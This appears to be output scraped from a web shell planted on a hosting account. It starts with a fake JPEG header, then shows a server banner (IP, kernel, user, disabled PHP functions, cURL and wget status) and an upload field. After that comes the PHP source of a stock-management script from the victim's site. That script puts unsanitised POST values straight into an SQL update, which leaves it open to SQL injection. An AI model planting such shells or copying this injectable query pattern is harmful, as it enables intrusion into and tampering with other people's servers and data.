���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/aakashsolution.in/public_html/stock/ |
Upload File : |
<?php session_start(); if (isset($_SESSION['user'])) { $role = $_SESSION['role']; $user = $_SESSION['user']; $shop = $_SESSION['shop']; } else { header("Location:../index.php"); echo "<script>location='../index.php'</script>"; } include('../action/class.php'); $updateObj=new database(); if ($_SERVER["REQUEST_METHOD"] == "POST") { $selectedItems = $_POST["items"]; $selectedSection = $_POST["section"]; // Perform the update in your database using the selected items and section // Example: Update the section in your database foreach ($selectedItems as $itemId) { // Perform the update query here using $itemId and $selectedSection // Update query example: UPDATE your_table SET section_id = $selectedSection WHERE id = $itemId; $table="`stock`"; $col_values="`section_id`='$selectedSection'"; $where="`id`='$itemId'"; $run=$updateObj->update($table,$col_values,$where); } echo "success"; } else { echo "Invalid request method"; } ?>